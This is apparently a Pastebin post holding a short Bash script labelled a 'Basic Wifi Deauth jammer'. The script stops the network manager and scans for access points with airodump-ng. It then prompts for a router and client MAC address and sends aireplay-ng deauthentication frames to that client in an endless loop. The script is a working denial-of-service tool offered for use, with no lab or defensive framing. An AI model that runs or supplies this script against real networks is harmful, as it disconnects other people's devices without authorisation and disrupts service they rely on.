Advertisement
metalx1000

Basic Wifi Deauth jammer

Jan 13th, 2016
686
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.40 KB | None | 0 0
  1. #!/bin/bash
  2. #must be root or sudo
  3. wifi=$1
  4.  
  5. /etc/init.d/network-manager stop
  6. airodump-ng $wifi
  7.  
  8. echo -n "Router MAC:"
  9. read router
  10.  
  11. echo -n "Client MAC:"
  12. read client
  13.  
  14. /etc/init.d/network-manager start
  15. sleep 3
  16. /etc/init.d/network-manager stop
  17.  
  18. while [ 1 ]
  19. do
  20.   echo "Sending Deauth..."
  21.   aireplay-ng --deauth 5 -a $router -c $client $wifi
  22.   sleep 5
  23. done
  24. /etc/init.d/network-manager start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement